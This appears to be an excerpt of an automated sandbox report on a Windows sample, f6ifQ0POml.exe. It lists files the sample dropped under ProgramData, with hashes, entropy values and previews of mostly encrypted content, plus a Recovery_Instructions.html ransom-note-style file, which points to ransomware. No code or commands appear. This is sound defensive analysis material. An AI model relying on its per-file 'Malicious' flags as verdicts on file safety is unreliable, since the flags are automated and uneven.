Preview:	....+o..:.s.!..D.....H..k.$gl.ldi....I6.+I...p...Z..d...I.0j...3x.{K;M#m.......e.....?..^...T.ie[.#.B....O...BZ<....i..?y^g.).y{~.}... .]..s.N.t...].:n>...D...$e.../O".Zt.....o-......0Ky.1.{...U.\.Z..9t..........W.V..f.....\|....8K.....r/lE..:.....\...a..9..@u.........&.9.n.4..KF.C..Y2.k.....K.nn..6[zzs.l...p.._/.E../-..,m aa....k$e..../......_....ZR.j.\.0.....4.7B.G&.:.........z.;..B...u.\i...;fdD....6...R...;1x..&n.X.h...o...y{..F.qgx.+.k.Ga.6B..Z..Ler%....(.......N..+.3.)W...Q.;w.....N.!..\..F..z@...Y........i.^..g....(.8...j..m(.\P.;..Y.vp...W....#.........k.......tU.^...2x.....\Ii..w.@-.......-.r.IMmMAb..%w....F..@...!T.,.`Hz.]...eA.Y...&!..C..xw...I!....=._..Z@1d,..Q.u).w.O>..A.6...=G..1.t......)+...3..v......-.e..)il;.x.N.......E.M.>..R.4....x....6.H..........#2......K.ag..R....@)..`8.3+....G.D.......,.9c....i..$..kd....;...p_.....P..<...&.W.S.5.%t_T".T...&`9..Sc...l...w#P...@.<..BU..........$.....m.S.

C:\ProgramData\Microsoft Help\nslist.hxl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.9818597765468535
Encrypted:	false
SSDEEP:	192:Kvs2g5SeOfMHAhN9M3c7IF+QxbJ6KuNP42xwNaGPlRaPjH554kv:Kk2gqv9Uc7IFPxNQfxXklk154kv
MD5:	4158536E99A0F703AEFBE0CB85DFE582
SHA1:	76EE682B858B6BF2CBFCA6ACE211D84B18D5B4A2
SHA-256:	0A3364A57D79A0D33B1B5400304566ED96E2FA02254A75AAD29DA9AC8F8E753F
SHA-512:	F27F3B0AE78D4883A25E04FB864EF028EB4C0FEDA355076E8E18FDC4C6E3F592706C73DE4462D043EBEAFA895B1604D8C5203FB9200C44948C54F08EEFA7B316
Malicious:	false
Preview:	....6.0CZ....,......XAc.TJ......'.\z.p8..R..IO..,<........5..3..W........... .'.G.....)lY.....I)..~..\|.qTD.%......}:..J.3!.@..T..\|;%. .Y..l.}#v.]..].46.....%..%~%..Y.uq...>..]dr.....b3P.. ...FZ.-.u<.......3...M........%....T).9:...k..}.9...({.T..0....E ......f..\|...4.-h.....pX..[...7...g....2I[$iI..u+v..........m.......k.u.......D..\=7..q..4...j. ....GOpX.X<..*.CO.=7..x...O.....;:q6;k.~....&.....OO=x.H.f..=Z...b.........B....$....F...^.....V.</..N.{K...0Yc....tG..k.\|........\|n.b.b.p...!n.c_=..\|\|.?.,.(P)...[.....r\|\|Vw.\.......X...G.F._.FWp8....K.`.A.. [.k....ZK..V...=..G..Kd>.[.n...w.%...C.6.......c..hO.n..p2.......'.Eqc.._......e..v...PG......v3....\|n..:JQ.)W..5ZL@@..7x.^.H......qG.j64.........,..K.}..m8D......o... ....2..............\|A..zVJ.....Mq.&T....^....zCC...W....R..g(....z)a.).f.kXwq.JQ..Lg.m..$.."...r..V...U.}.}%.......7z.....}p.=.`.qe....}./.+..U.}......v...[s....f....#.$ ...gX>L.Q...H&-.]#.d..\|.U.v.....O..~.......E..."A.+.

C:\ProgramData\Microsoft\IdentityCRL\INT\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	4889
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	96:8y+cAl5azln+DtZogtckSUae47f2m5+DHORCiKMr9JM4oqo:8OAl0z8DjaH4af2mwDHORnKMZJM7
MD5:	A567EDB0841F238E4BE8EF0051BF728C
SHA1:	86FF15C748F292EC0418DD868D4DB505522DBFCF
SHA-256:	AF63FC9A5DC026024951CC157DDAE53E98CEF96E3688993F2A0EB997DA72865D
SHA-512:	948809F614E1C3FE6F2F2B584D2459BF18FBEDACD2B56FC81BAAE866015E6B2CF38C46E6B1F05B761189C8CC46B67B590A20956B5B5CEC1F586795C9C0263542
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\ProgramData\Microsoft\IdentityCRL\INT\wlidsvcconfig.xml Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	16920
Entropy (8bit):	7.989439840598348
Encrypted:	false
SSDEEP:	384:jlulxunYbTQG10Nxb+PtE7ZzNj/vvZFN/7XZsp6Tq34fCSH54kC:hu24j0bSE7hNb3Zj/NIioSG7
MD5:	4B8A35816EDD0A7B633DCF49C088D704
SHA1:	664FD0A829DABEDBC10503EB1C77F08BCFBDAED1
SHA-256:	C46F422220B602BA2983F3F20005341BCC7616373E85F9F535EE75EBC33C3EB6
SHA-512:	58037B3F0AE61DE32E023CF8A2882876CFBC2C8AB1F760801B9354A1C35647EF9A6685DAB5961D05F7CD3EFB625A29D179D535984D127D2F55CC50DE10E7FDF5
Malicious:	false
Preview:	_4.;.T....N.....<[..z..1ih&.d<6.G.......?."......A.uU.j...v'.+.9.8.."..A\|...{.VF...f....91.......x......FU.....!..h..qp+`..aM...\|.../............T...y....g.Y2:...8..TL@=9a.8...'..`\|...D.R.~.TI..t__...=...y.[.}L..5..R1....~<.P.M...i.<...1u.i....:..D.\...e....2b..l..Z.pa.... .?..>.\|A..M........<..>A.[p........Z?..!.%o.,.)#l.a..m.....s....8......k\..!..h.&..zq.'.`.j.N.1.0..m......./g.......I.V....\|.uy(-?..vsm.>.}..q.e.....1.A....e...#.6.[...."^....Qd.>R.W....../...-..{u..O...Z..n......q....>.fy:.Eo......9..y....I.j....`6..,.A....+...,U....fR.tU..!..7..9.o..l7.Y...y...mVi.F..QB>.K..mF..!mZ.....}v........x..uR.. .0 O..(.v'J.....W:....D.......\|.....4P.m....7......o\..-.e.Ra. ..lJ..6..k...).T.&.....d&........,..efsu.D.L;.........&~J..NW.[.z. ...2.\|"a.'wK.D..i;.L}.F.w.......LO?"...y!.UrX...N...<.. +..A......m......G.4...B....F..k.........T..!q..b..4.LF..W.....l..uy..E>.........P.xX.h..D.V.P*.tO...^.D.....j..93...7+Q.!k.....v=.....<..

C:\ProgramData\Microsoft\IdentityCRL\production\wlidsvcconfig.xml Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	16920
Entropy (8bit):	7.9881972682450595
Encrypted:	false
SSDEEP:	384:jluHDEU5jYm1AKNYcM9Kc4DcvsT/AvpZgCecKdeGwDgsVJ8aU54kT:huHDt5lnNYBJi4s9CecKdeGw8sV/q
MD5:	D70C100F2BED281A6D26FFA8B6217150
SHA1:	ED57A1FB6A63E89F895FAF3843357A1693F1F6AA
SHA-256:	CF8DF5C92E63DB3E94C9E24A7D945EBC588E45CFE97A730786B3882D21CA3308
SHA-512:	11C3885E86A2350F97BA97CFDAFA4826FCB3B310AC1E50A726909A0B3B48B7E626490C184C5D2F3080A19B457972E8B2E6618D66BD5AA65E189A8543E9070D7C
Malicious:	false
Preview:	_4.;.T....N.....<[..z..1ih&.d<6.G.......?."......A.uU.j...v'.+.9.8.."..A\|...{.VF...f....91.......x......FU.....!..h..qp+`..aM...\|.../............T...y....g.Y2:...8..TL@=9a.8...'..`\|...D.R.~.TI..t__...=...y.[.}L..5..R1....~<.P.M...i.<...1u.i....:..D.\...e....2b..l..Z.pa.... .?..>.\|A..M........<..>A.[p........Z?..!.%o.,.)#l.a..m.....s....8......k\..!..h.&..zq.'.`.j.N.1.0..m......./g.......I.V....\|.uy(-?..vsm.>.}..q.e.....1.A....e...#.6.[...."^....Qd.>R.W....../...-..{u..O...Z..n......q....>.fy:.Eo......9..y....I.j....`6..,.A....+...,U....fR.tU..!..7..9.o..l7.Y...y...mVi.F..QB>.K..mF..!mZ.....}v........x..uR.. .0 O..(.v'J.....W:....D.......\|.....4P.m....7......o\..-.e.Ra. ..lJ..6..k...).T.&.....d&........,..efsu.D.L;.........&~J....$c..E.Z}.:..8h."...&...d..\|....C...4M.....\.S.1hYQ.V..f...Z...&..Pv.j*';1N..a\.<.J.........q...z........6.w..r...18.H..s..b.N...+.'4[...).S./.........../..=`.D...F..g....1>e.%..u...m..~.....b...B.}4..).0q

C:\ProgramData\Microsoft\MF\Active.GRL Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	16920
Entropy (8bit):	7.988422451685362
Encrypted:	false
SSDEEP:	384:FPj4ocbgCLf1dn72A2LP2iZWA4BRcLTvx9HMFnWKvDzEd2H54kf:FPj4t7QLeiU3BRcLTvHMsKLAdpi
MD5:	2D95DAFEF3EB066B10CE5FCEE4BB7E2D
SHA1:	465B842D6BB4634631F9EB226CEC20AF867192E7
SHA-256:	74059E9084A0B41BB6B12DDBF141B79D1E8DB1B5D0F9C3E73BE1CE0D488C15D1
SHA-512:	1AC297AEB5DCB79E07DFA80E24E0299940189669DC3E269A4555DE874E45DCA72E291286F21B183271CF47BD7DE89F1197D1D25A14E90024628EE2957B7BE4F5
Malicious:	false
Preview:	.\..L..^s.P....g=,.g..#..x.)...~....pr.....;u..CUP.OD.lw$...MK[/c.......S?.N...<.G\|DV..Jy..:....5.. ..s."....W@AL\.!M.Ak...TCO:.....a....z...........d..B.......=.&5.Q....).Gv^4..ae.9...M.V..Sn?.M.....n...^..&>..d.n...t...A...s.d.t.Dy .9.R...y.O.....H..V.O..H..6....9...oE....m.3oF.rz.o~HEO....k.;..w..z0#.\2..W{..9..@.N...6jy..!.[..K.K.......C.@2.8U.tN........E.:.t..gn3F.F...U..t.......F.h..3n...{~.l...O.X_...r...L.\..'...z.IP.~]....g..on..D\`...(e...cN..,q.g..r.P...j....o...Ct.:3.W.a+..L...z..........S2......$h.......\......1/.5.2L@......)......`..i....U;..A..\T"1....w6C6...Q`....M..!.%V!@...gw..]J+..J.2.s....R...iY...._..`H...R....baF.].1..q...27eV@....R.eS....@...kyi7.Dr......3V"J.........J.z...J.j4.z..[...6p..n0.Uf..u.C...M..i.`/.c..AZ......L..\|....Q.La.@......O..dv...l6..+..q\|Y&p..+......f..:?4..H......J.V.&... ...X>Qk....y..g..tu..C..imw.m..<}......v...It.mI.xr.....<.yO..;...a....-.u.YO...w.p".esl......u....~...m.G.o..7a..)a....q

C:\ProgramData\Microsoft\MF\Pending.GRL Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	16920
Entropy (8bit):	7.988422451685362
Encrypted:	false
SSDEEP:	384:FPj4ocbgCLf1dn72A2LP2iZWA4BRcLTvx9HMFnWKvDzEd2H54kf:FPj4t7QLeiU3BRcLTvHMsKLAdpi
MD5:	2D95DAFEF3EB066B10CE5FCEE4BB7E2D
SHA1:	465B842D6BB4634631F9EB226CEC20AF867192E7
SHA-256:	74059E9084A0B41BB6B12DDBF141B79D1E8DB1B5D0F9C3E73BE1CE0D488C15D1
SHA-512:	1AC297AEB5DCB79E07DFA80E24E0299940189669DC3E269A4555DE874E45DCA72E291286F21B183271CF47BD7DE89F1197D1D25A14E90024628EE2957B7BE4F5
Malicious:	false
Preview:	.\..L..^s.P....g=,.g..#..x.)...~....pr.....;u..CUP.OD.lw$...MK[/c.......S?.N...<.G\|DV..Jy..:....5.. ..s."....W@AL\.!M.Ak...TCO:.....a....z...........d..B.......=.&5.Q....).Gv^4..ae.9...M.V..Sn?.M.....n...^..&>..d.n...t...A...s.d.t.Dy .9.R...y.O.....H..V.O..H..6....9...oE....m.3oF.rz.o~HEO....k.;..w..z0#.\2..W{..9..@.N...6jy..!.[..K.K.......C.@2.8U.tN........E.:.t..gn3F.F...U..t.......F.h..3n...{~.l...O.X_...r...L.\..'...z.IP.~]....g..on..D\`...(e...cN..,q.g..r.P...j....o...Ct.:3.W.a+..L...z..........S2......$h.......\......1/.5.2L@......)......`..i....U;..A..\T"1....w6C6...Q`....M..!.%V!@...gw..]J+..J.2.s....R...iY...._..`H...R....baF.].1..q...27eV@....R.eS....@...kyi7.Dr......3V"J.........J.z...J.j4.z..[...6p..n0.Uf..u.C...M..i.`/.c..AZ......L..\|....Q.La.@......O..dv...l6..+..q\|Y&p..+......f..:?4..H......J.V.&... ...X>Qk....y..g..tu..C..imw.m..<}......v...It.mI.xr.....<.yO..;...a....-.u.YO...w.p".esl......u....~...m.G.o..7a..)a....q

C:\ProgramData\Microsoft\Network\Downloader\edb.chk Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	25648
Entropy (8bit):	7.992835450415196
Encrypted:	true
SSDEEP:	384:2UBYUo2NSBPOlbCXm0yTO54kRAy3mkQD94XPV5jKtHxf+kaTeDR1PLRzR6xVixcJ:To2N42lbdNiAy2RmuNnaTqzkxIvM62
MD5:	197411D146C0898FA2F74BA8BD72F01E
SHA1:	EB625471CA95EAD226F656803E46B14B7427D035
SHA-256:	2CFE43B96D8E72919F3C7E8D06F30030CC595F299DCBA056380A606959E52B9C
SHA-512:	83B7FD25FE80324ACDB672973FA0639A32EEDDB403A2C4D062DEC8B229BFDFC307F3861EC1332B98AF8436BA6E002BB1BD3C30F2D65CE021C981A90335823228
Malicious:	true
Preview:	.......Wu.VkD.....c..V....f...3..b....x"..@.w..\|...ak...'.}..qq)sB.../{..v.+.W.G7;.}.r..kH689.....~..:..T.cN.~..b.....%...v...]..3.m...j.#....[K.'.ab.?.'6.+..l.u>.>.6Jao.%l..=..f........w....O-".......^.....exqF6....&.;}O.+[.....]..........~k...c..k.L.4b..1...8.HB.....\.M;..^........P..!/.... .a..... ......:..MA4o. .....d.....FE._.%]{...2.Q...Zt'D..k.q5.....H.#A`.........$].uwo.....xY..[.zW..+.WoU:....9.s..c.i!...w..H.......cJW.....B49..eE(+..i.xZ..}U.<&..s....7.q.t..S)..$.0J..l.E......R..[I.O.,...`d.8..q.....j...z..KN.y...P.Dr..ld..[..C........Z."..8S.f...^z....K.Q.....i..nh..N}6=...\|.............../M3.K.x...D.r.VC.._t.bs.D..c.z..J...........%Oh.b.2.9.<.1.....P.......m].u...rA.8)k...-....C...q..\|.7W.Da]...V......Su.m;....Q..].x....[]...:.B.5...P...r.).h..>...3oCu..1..8.......Y.b..z\S.vC%^.)..Rg9)./c....D....<nr.4J.yl(.....H.u#..N.......H...\|t ...[j.......s.w...W(/.Hy.[U<.....q..:..n."...Y.A..[W....c.qt3p.k5...gof(.=?....I.)

C:\ProgramData\Microsoft\Network\Downloader\edbres00001.jrs Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	1311256
Entropy (8bit):	7.99986159519734
Encrypted:	true
SSDEEP:	24576:CnQtcCKp55dIErl+Xer72N0XSwnZ1/wLMakg7bupbJ4t:qQyCKDMErlYef26HjYLMakkqX4t
MD5:	1C9614F30BDB4C261C8752B5BD50B9A4
SHA1:	9ACFFE7A0A4BF242ACAD5A467B22A93DEA3629C9
SHA-256:	BF250B4D550F672CD2BCE2428CCED7D2033039F6A9834601538D6D425E6481E7
SHA-512:	B7EE91628EBC9385F7631BE6218FBD8B53CAFB85F86AE0C85C4C7EDDC915BA92A29A3C1EB5802D8A71E32284E14EEDA38D32C047FFFA706425472A2B294B63BE
Malicious:	true
Preview:	...Ue......K.1...u.......X...d.)...eqZ.-?...FA...Q.^..Y.,.#.L....Br.......f..bXZ.5.Kv...Oc...Q.s..Y..d.~V5j)..8Eh[.CiU.R..p..S.5....).j..SO..W./).I.Qt.8..........%de.I.I.O$..U...y..`...7....E..,...>.".`2....p..;.....It7a.@2..+b...2....&\|(..W.m.%Z.._...?..T?E..}..I.f.A6.1.Z!.>...;...y/...D[A.n$..0.......lY..C.L.....F?....h..........1.Y.".3......q-.u......=........}.T..e.@.&2..>n.n8.f<...3..#.F9.........fz.w..).r.j...t.~$+.k....G...w.`...%T.wd.....X..k.dPs...&.]..!Z!... ......(hD.r.Q.6.qx.L.....&.}..>.a.W..H.e.l#:.}S.n.....!\|.n......w..f..../...b........+.T....`e.'g.N....G.....f$b.X$.3ba...bL......X..g.;...XPNt.5.8e.m......5..i.....P...... ...U@...n...R...xj....S..JO@ml...8.cR.H_h.....2....plG...9.x.....f.d..C.p4[[g.9......nSa......h.....I.....>(....1.T5T..-\|y.T2..-...d....O;:....u..G.......dU..c. &z..Q.....a.M:..}...}..v.\| ...].....T!p2...r......r..8%c.^!..&...[..w.K...a..(.D....L..8..U...}T.0....&D....V...uA.`.._...X..u{2.. J.=$RF'.y

C:\ProgramData\Microsoft\Network\Downloader\edbres00002.jrs Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	1311256
Entropy (8bit):	7.99986159519734
Encrypted:	true
SSDEEP:	24576:CnQtcCKp55dIErl+Xer72N0XSwnZ1/wLMakg7bupbJ4t:qQyCKDMErlYef26HjYLMakkqX4t
MD5:	1C9614F30BDB4C261C8752B5BD50B9A4
SHA1:	9ACFFE7A0A4BF242ACAD5A467B22A93DEA3629C9
SHA-256:	BF250B4D550F672CD2BCE2428CCED7D2033039F6A9834601538D6D425E6481E7
SHA-512:	B7EE91628EBC9385F7631BE6218FBD8B53CAFB85F86AE0C85C4C7EDDC915BA92A29A3C1EB5802D8A71E32284E14EEDA38D32C047FFFA706425472A2B294B63BE
Malicious:	true
Preview:	...Ue......K.1...u.......X...d.)...eqZ.-?...FA...Q.^..Y.,.#.L....Br.......f..bXZ.5.Kv...Oc...Q.s..Y..d.~V5j)..8Eh[.CiU.R..p..S.5....).j..SO..W./).I.Qt.8..........%de.I.I.O$..U...y..`...7....E..,...>.".`2....p..;.....It7a.@2..+b...2....&\|(..W.m.%Z.._...?..T?E..}..I.f.A6.1.Z!.>...;...y/...D[A.n$..0.......lY..C.L.....F?....h..........1.Y.".3......q-.u......=........}.T..e.@.&2..>n.n8.f<...3..#.F9.........fz.w..).r.j...t.~$+.k....G...w.`...%T.wd.....X..k.dPs...&.]..!Z!... ......(hD.r.Q.6.qx.L.....&.}..>.a.W..H.e.l#:.}S.n.....!\|.n......w..f..../...b........+.T....`e.'g.N....G.....f$b.X$.3ba...bL......X..g.;...XPNt.5.8e.m......5..i.....P...... ...U@...n...R...xj....S..JO@ml...8.cR.H_h.....2....plG...9.x.....f.d..C.p4[[g.9......nSa......h.....I.....>(....1.T5T..-\|y.T2..-...d....O;:....u..G.......dU..c. &z..Q.....a.M:..}...}..v.\| ...].....T!p2...r......r..8%c.^!..&...[..w.K...a..(.D....L..8..U...}T.0....&D....V...uA.`.._...X..u{2.. J.=$RF'.y

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	1582128
Entropy (8bit):	7.999887114770004
Encrypted:	true
SSDEEP:	24576:osnohVE88zI5wHQZrYqG/DzzEurzYhuF/Xw1B81/umf2bvbNGvhdRGlHTw:o6CF72Hv/DzzE/huFuB4bOtGvvRuE
MD5:	19DD71DCE9B2DDDD96641404538F7A23
SHA1:	2FA2FCDE5787D9CCF3A1B0307EEE096EC959B76B
SHA-256:	72FF351460D05C210EF0575D5852D2C565358BD34EDD6CD09D39FFEF4B5FA899
SHA-512:	BE23325B5F07B15F86DDBAE9BB9D935E08D63FA8BE94DF574069B4C4C833B7F393383C8577B129E5B86B808D12B5E9589F57246A917DE6DA9B4DA0B55FF14DE9
Malicious:	true
Preview:	.&...WX.'...o.S..$&.n...+0.N0"`...C..}.+jU....m.I.@...............'w,.3.}V..f.]..t#..`..3..Y.'.0c.S....c.=..vc...>.8.....@.s..#8...T.......wMt...D..k~..=..{..\|Ty...e.....Lm(..JBs....ZN..4..]!.......t.@.s.5.....s.9.)i'..L.2G.hS..ad=-.\|G..H$.0.....xx..V...........Yd...=....8.jC1.o..W..+...J..7W. ."........!..R........d..d.-..1p).:.....hh(..H........J=...y......G..#.ko]...\|.&!.)X...........p.....,[..+V..O.#.. ...u.:.?...lS.V.......wJ......_K.........H.!fpc..\...i.2...KL.......l............7K...........K-&....n.l..i.=..7F<.......YQ-..6.lm+../..5.,..h..5......G....$..;[..b.Q+^.........%v..Wb.....t0...RfZ.M..II3..8.....m....~.Oe^..2$....$..Z....b\|.H.......V...&....e.T....u<4.....Q....M..bB.}S.B....Vr1G.t9.9..?..I..7.!K..y...f.)..k9L....6<..>.s.Km.....e.[.;.....y>.&d....N.\|.8....F....<.,..{(....#...E.....P.. ...~....,C..+(<.....\..Z..A{..v..>C...p........xP...I....0.p2K.5mI`.le....>...<.T..cb..5."N.....5a.B..T.G...o*?Bw....P.{........j.e.

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	16920
Entropy (8bit):	7.988872273662305
Encrypted:	false
SSDEEP:	384:IMUo7/eYJpBHvitV6sE3XPefSdWi2FXVT+qzB854kh:IMSYJp5vMNqPe+WlFFT+qJk
MD5:	2F5F53CBCA2C77B6A55D55B360B41A98
SHA1:	AA1F245056F9F014FA678B85EFD5EB2D990C1AA3
SHA-256:	420CF0BCABDF23F0FE4D9A5075F3F995A2AC6C37F937D680892375A7B368AF4F
SHA-512:	83B345A3EF762A39DD5FFB88557F4D12DCAECF0C2F6EF95C47E888A73885C628149C7BE34E2BA503A3AB41F5275EC5B6901C783299E764CC22B0F7E4006054BA
Malicious:	false
Preview:	..s..J.W\...).z..#...{o..`7u...N......[.{...-....>.[G...md...f.....m`.K...EE.\|9...@..5...Z...L..>.C..J..(....I..8.5.).....&....c..../wI.w.b..&..&..<E..D...7d"<..oi....j.V.".....`..[.af.j...h$....yJ.q.....&...S.:........#.......hP.J....Q.B....#.z.V... ...T......E^..&.l...?p{.!...q.....1?.g...#$y..>.:'..E.J..2.5...!..U...-RC."o..9...uH..=...8..%...B...D..Wq...)'K.S.._..O...rS._.z.b.S.lX$.-..B...>.6..T2r..P.O..}D..A..:.(o...-.........W..:..R..3I^.....K.S.k....mR.p..f.Mc............".E$p....het.z..J.....K;r.A...:0......Fon..1.G^=. 3....6.5..X9.wEI...Z..^........g,.."%.]........X........@..N...x..g..Q.8.~_qC][..-)...\@.M....P.2..wZ-K.....{.@v.9....h....TVC\.z-..g..4u`.)\...IL.E..c..."p.,.N. ..M"...P,.<.R..m.G..-3y.......i......'..:.@s..y.=.....1.m.\|.}..1.R...T.l..t."......F...y..c'I.6x.n./..shU.65,!.#(...y>....RF..i.&...O4WNW5{a}.....7..S.G.Abf.E.....6DF..'.:.D...[v.U'.....c.;.gl.L........E......5..t..........i....}Z#wa....8D.G.J.j

C:\ProgramData\Microsoft\Search\Data\Applications\Windows\edb.jcp Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.979881138001304
Encrypted:	false
SSDEEP:	192:lPhjF4U8pQ/DeuCPKTSppA4gtrcxzyP323lMe54kB:/jFvU6auamtHv2VMe54kB
MD5:	D5031526244B34EF3B080E020E218DBE
SHA1:	5901EA6FAE06588B3B100937D9E877D0C237F9CA
SHA-256:	AFCF5673620B2904A08DE2A83E19BFB73021F4A5F94E5DC013C92D846001DBE3
SHA-512:	B363B7A966F88C6DA38215102D62A53D4A5FCDBE3E71E60E1146C9F71213A21A0B1525234949A0FE5D9FAD04F016F8D5A7FDD3716DCFDDC7F42DB1A652A4CBD9
Malicious:	false
Preview:	6..mI...).5M"...;[o.P.PCR.....Oj..o3S.G....\|......Y......l3$7..+..vm...5>I=4p......=...Y.seP...........o8..9z..^........_.3......&l.C.7...8%7....XN...o....).> .)x?J.u....w>...6S.gC%.e~....9..8.\.....S....C7......FA7... ...c.&......1...cH...2Y.....,.9.W.:.w...q...<zr..e......o...b.?..........c.F6.....oW.<....@@..e.7.......hB..e0.xc...g..8U.Fgm..>3v\i./%..q..}O./T..S8.d.rs...F..\....n..P.X..+..m...:.....w\.^...........7..s.........J.qV..m.....g....Q..2....tj..&.*.:. .,....H..j.%9,.....J......;..k.._2B.0g..6..Z..w.Q...1.:52..Q}...1l..).....!..%..A..e.X.:.x...k.0+.....kB.K.\./.6./...~w"...1hL1.ffUs.r].o...']....i.W. ...6./n?+F...$...F.J6..O....)Mn..b........V.....n.&.kH,..,....!.3......N..W.VO.S....d.$.....e!e ....=.#1.&l.....!....7..N.].}a?.6Co..q./.......X+...c..\.....Ji.!.(.....^.2.\\]..g.B4:...I..9T......r.z8.4:...k....4V;g\|.k...3..L.P..f.).v.m.......=.-..x.6&o.Z.>......._....N.s..y...+.~..?n...Y......Y...y...U.....V.&W.va..\%\.

C:\ProgramData\Microsoft\Search\Data\Applications\Windows\edb.jtx Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	1049112
Entropy (8bit):	7.999811384807111
Encrypted:	true
SSDEEP:	24576:cfAi7oxbDjyl27ZsVFWUYm/aRjoAI8fj4p83wV:coiM/yvEQaRQ8fMpJ
MD5:	60F9E72315A16DD54E2D7A5359ACD3A3
SHA1:	A4F498505C9924C6388C4041F0F6E1C1C3448ADF
SHA-256:	B4418EF8695321011B29237D7815AD2254D96280FA7DB4B7172E3278437E949D
SHA-512:	AFC5A8166F416D912D21DA17C523E290CB0D59E013BE6F0A6EE7652A7CD961DB6BDD0A9EAE03832A104424280241A80988760F73A86B852C3D2475FD3E9AE8F2
Malicious:	true
Preview:	..<./m.....Q..4..~=2.$.t.Q......bVDz`..w....l7'.s.;.?.T...._...+..,.._.....E..@.h.....P...sES.Iw-..d^g...[G..Ug.5w.g.M.<.~.?T.g.KE....F...X.9S.v...^J.6.....<.`...l.....]..(B.).+.LX..............^Y....h..1.O.H....;@.\|k..s{......<.T..%.7.aj`.d...KI..l....l(....s<....p~..b~8.h.sU}.?..e.f..[$F...._....a...J...;....`...Y.X.B..K9......h4..%efP...'.p.u.-9S.;.k.-.IR...g..E..tO...).....dC._..*.W.z.1......m.SE..{z..MY..-=....`.e.(.$k!X..q..e...-hC....q..C.....L>.k.m.u...)oGhw.Y.f.8.J.MR[_..V.. pzb..g,$B..h...nI..L.....@1.%....O............v.T%.Vw- .k..?...o.1..........C.B..a.OC0(..~i.]..bc0..-:..LFCI.#_.<.Z....h.y.K.G..(.....g..MiWK....?.... .......v.2,>h.?..6.B..r.6GnL.C.w.. ..(:9.8.NX%m._.yIH.s.HA.(.D.\..9..b....5.J.......q3U.Ibce..H!..wM..K..2...h;....jCy.m2Q.<.?...O.......\|g3[...)....e.b...P..QKo....V.}.n ..W...\|.......~..}..2.....~...k.....j.........k..#.%y.l..bd".u.e.'bl3....6...TU.}V12..2...H.A......J..O..hs..&\.........2..+a.@..:...b.HZ

C:\ProgramData\Microsoft\Search\Data\Applications\Windows\edbtmp.jtx Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	1049112
Entropy (8bit):	7.999840099925862
Encrypted:	true
SSDEEP:	24576:1d0+bxdb9XLwFGBQsLmvmZeNEZVajRGvTndd5ezlI:1iSnbusLmvgeuZVajcz75e5I
MD5:	B639935BF72F836E6E30F70C548ADF48
SHA1:	254834C954BD3F58102A30448E32F996C1F4F0F6
SHA-256:	4595B363E78435441C5752DAC60CF52B177EEF7E874B650444C0A2DAF78EE83D
SHA-512:	CA5C8466627303623B50B7EFE43D6B9F28632235AE88EBBBB2649FC7FBAD155A805C83EB080FC428E7220336D63F3E75A96F060B20A389784E8235281B4E9AAC
Malicious:	true
Preview:	k#..T=.....kD.L.f...rm...."....%...Bo.I.- 8.%.g..6....X`....F]w.....@...Hv+M:_H.&.N......b.5n....lPM.e.i..^...m.is.'e..sW...#.=.?......b..W.+,.\.S...&..9.".z.....g.H.p....1.H....2.h.@..bFi.<..d....S...aF..EY.3.....!.....Q./...0vT..3[".a.Y.J.R)v..#...%g......D....".(.N.=N.x\.k~.?...........~....^.....X.N.....p^.8f.b..B.+b..,....\.`.64J.P.!.f.@&OB...sd.>.B......Y.9..pkD..n.@O#s.qw...2.TI.5.B^..4...5G..1^W.u.L.J.h">".Ti....Rb.O..^..{..5....0.3.........B]v.D.......-..LjZd..b ....4...Q...@...uTax....P.>...SiV?......NZ........_..~.......M....^...H.~.N.F.PT..s.W,.........Pc..zC.im...8......5eo{A..m..j....{j.c.I..vz..R...^_.b#.9 S...J....[R....)...H.....J....<......f...!.]...y(F...D......o..N..`.O..P<%...z>...o$"7.8.78...).5...,..gN.h..._.....M.P..\.0......d..=..ez.y6.J..ig_..`....\..0&.m[..B........C..g..=..C...."#Gq.Jm=......n?.@..kw.R..K.T.+].s6.3......t...W..c"F...).~.u,``...../O...^.....V??P..k...d......A...A..:.L.>3..P}\|3...D..... .Y_UC..

